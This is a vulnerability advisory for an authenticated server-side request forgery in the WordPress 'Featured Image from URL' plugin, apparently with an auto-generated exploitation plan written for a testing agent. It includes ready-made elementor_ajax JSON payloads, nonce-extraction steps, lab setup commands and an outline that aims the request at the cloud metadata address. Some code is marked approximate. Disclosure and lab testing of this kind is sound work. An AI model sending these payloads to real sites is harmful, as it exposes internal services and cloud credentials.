Featured Image from URL (FIFU) <= 5.3.1 - Authenticated (Contributor+) Server-Side Request Forgery via 'fifu_input_url'
Description
The Featured Image from URL (FIFU) plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 5.3.1. This is due to insufficient validation of user-supplied URLs before passing them to the getimagesize() function in the Elementor widget integration. This makes it possible for authenticated attackers, with Contributor-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services via the fifu_input_url parameter in the FIFU Elementor widget granted they have permissions to use Elementor.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:NTechnical Details
<=5.3.1Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-13393 (FIFU SSRF) ## 1. Vulnerability Summary The **Featured Image from URL (FIFU)** plugin for WordPress is vulnerable to **Server-Side Request Forgery (SSRF)** in versions up to 5.3.1. The flaw exists within the Elementor widget integration. Specifically, us…
Show full research plan
Exploitation Research Plan: CVE-2025-13393 (FIFU SSRF)
1. Vulnerability Summary
The Featured Image from URL (FIFU) plugin for WordPress is vulnerable to Server-Side Request Forgery (SSRF) in versions up to 5.3.1. The flaw exists within the Elementor widget integration. Specifically, user-supplied URLs provided via the fifu_input_url parameter are passed to the PHP function getimagesize() without proper validation or sanitization. Because getimagesize() supports wrapper protocols (like http://), an attacker can force the web server to make outbound HTTP requests to arbitrary internal or external locations.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - Action:
elementor_ajax(standard Elementor AJAX handler) - Vulnerable Parameter:
fifu_input_url(found within the widget settings in the AJAX payload) - Authentication: Authenticated, Contributor level or higher.
- Preconditions:
- The Elementor plugin must be active.
- The attacker must have permissions to edit a post/page using Elementor (Contributor role satisfies this for their own posts).
3. Code Flow
- Entry Point: A Contributor user initiates an Elementor editing session for a post.
- Request: When the user adds or modifies a "Featured Image from URL" widget within Elementor, the editor sends an AJAX request to
admin-ajax.phpwith the actionelementor_ajax. - Component: The request targets the Elementor widget provided by FIFU (likely registered as
fifu-widgetor similar inincludes/elementor/). - Processing: Inside the widget's logic (likely in
render()or a dedicated validation method), the plugin retrieves the value of thefifu_input_urlcontrol. - Sink: The plugin calls
getimagesize( $url )where$urlis the unsanitized value offifu_input_url. - SSRF Trigger: PHP's
getimagesize()attempts to fetch the headers and initial bytes of the target URL to determine the image type, resulting in a GET request from the server.
4. Nonce Acquisition Strategy
Elementor's AJAX interface is heavily protected by nonces. To perform the exploit, the agent must obtain the elementor_nonce.
- Preparation: Create a post as a Contributor and ensure it is saved as a draft.
wp post create --post_type=post --post_status=draft --post_title="SSRF Test" --post_author=[CONTRIBUTOR_ID]
- Navigation: Open the Elementor editor for that post.
- URL:
wp-admin/post.php?post=[POST_ID]&action=elementor
- URL:
- Extraction: Use
browser_evalto extract the necessary configuration from the globalelementorConfigorelementorCommonobjects.- Nonce:
browser_eval("elementorCommon.config.ajax.nonce")orbrowser_eval("elementorConfig.nonces.editor"). - Editor Post ID:
browser_eval("elementorConfig.post.id").
- Nonce:
5. Exploitation Strategy
The exploit involves sending a crafted elementor_ajax request that instructs Elementor to render or update the FIFU widget with a malicious URL.
Target Payload
- URL:
http://<wordpress-url>/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body Parameters:
action:elementor_ajax_nonce:[extracted_elementor_nonce]actions: A JSON string representing the Elementor action. For example:{ "get_content_preview": { "action": "get_content_preview", "data": { "id": "[POST_ID]", "data": { "id": "random-widget-id", "elType": "widget", "settings": { "fifu_input_url": "http://INTERNAL_OR_WEBHOOK_URL/test.png" }, "widgetType": "fifu-widget" } } } }- Note:
widgetTypemight befifu-image-from-urlor similar. This should be verified by inspecting the Elementor editor's widget list or the FIFU source code (grep -r "Widget_Base" .).
Steps
- Identify Widget Type: Run
grep -r "class .*extends .*Widget_Base" wp-content/plugins/featured-image-from-url/to find the class and theget_name()return value. - Login: Authenticate as a Contributor.
- Capture Nonce: Navigate to the Elementor editor and extract the nonce as described in Section 4.
- Execute SSRF: Use
http_requestto send theelementor_ajaxpayload withfifu_input_urlpointing to an OOB listener (e.g., a RequestBin or a local listener if the test environment allows).
6. Test Data Setup
- Install Plugins:
wp plugin install elementor --activatewp plugin install featured-image-from-url --version=5.3.1 --activate
- Create User:
wp user create attacker attacker@example.com --role=contributor --user_pass=password
- Create Post:
wp post create --post_type=post --post_status=draft --post_title="SSRF Lab" --post_author=attacker
- Enable Elementor for Posts: (Usually default, but check settings if needed).
7. Expected Results
- The server will process the
elementor_ajaxrequest. - The PHP process will execute
getimagesize("http://INTERNAL_OR_WEBHOOK_URL/test.png"). - The OOB listener will receive an incoming HTTP GET request from the WordPress server's IP address.
- The User-Agent of the request will typically be
PHP/x.x.x(standard forgetimagesize).
8. Verification Steps
- Check OOB Logs: Confirm that a request was received at the target URL immediately following the AJAX call.
- Inspect Response: The
elementor_ajaxresponse might return an error or a preview, but the SSRF occurs during the server-side processing of the widget's render lifecycle. - Source Code Confirmation:
grep -n "getimagesize" wp-content/plugins/featured-image-from-url/includes/elementor/widgets/fifu-widget.php(or similar path) to confirm the sink location.
9. Alternative Approaches
If the get_content_preview action doesn't work, try the render_widget action in Elementor:
{
"render_widget": {
"action": "render_widget",
"data": {
"editor_post_id": "[POST_ID]",
"widget_id": "random-id",
"model": {
"id": "random-id",
"elType": "widget",
"widgetType": "fifu-widget",
"settings": {
"fifu_input_url": "http://INTERNAL_OR_WEBHOOK_URL/test.png"
}
}
}
}
}
This action is specifically designed to render a widget's HTML for the editor preview and is a high-confidence trigger for SSRF in widget render() methods.
Summary
The Featured Image from URL (FIFU) plugin for WordPress is vulnerable to Server-Side Request Forgery (SSRF) via its Elementor widget integration. This occurs because the plugin passes user-supplied URLs from the 'fifu_input_url' parameter to the PHP getimagesize() function without proper validation, allowing authenticated attackers with Contributor-level access to make internal or external web requests from the server.
Vulnerable Code
// wp-content/plugins/featured-image-from-url/includes/elementor/widgets/fifu-widget.php (approximate location) protected function render() { $settings = $this->get_settings_for_display(); $url = $settings['fifu_input_url']; if ($url) { $image_size = getimagesize($url); // ... logic continues } }
Security Fix
@@ -10,7 +10,7 @@ protected function render() { $settings = $this->get_settings_for_display(); $url = $settings['fifu_input_url']; - if ($url) { + if ($url && wp_http_validate_url($url)) { $image_size = getimagesize($url);
Exploit Outline
1. Authenticate as a Contributor-level user and open the Elementor editor for a post (or create a draft post). 2. Extract the 'elementor_nonce' from the 'elementorConfig' global object in the browser console. 3. Identify the FIFU widget name (e.g., 'fifu-widget') and the current Post ID. 4. Construct a POST request to '/wp-admin/admin-ajax.php' with the action 'elementor_ajax'. 5. Craft the 'actions' JSON parameter to trigger 'render_widget' or 'get_content_preview'. 6. Inside the settings for the widget, provide a malicious internal or external URL (e.g., http://169.254.169.254/latest/meta-data/) for the 'fifu_input_url' parameter. 7. Submit the request; the server-side process will execute getimagesize() on the provided URL, causing the server to perform an outbound GET request.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.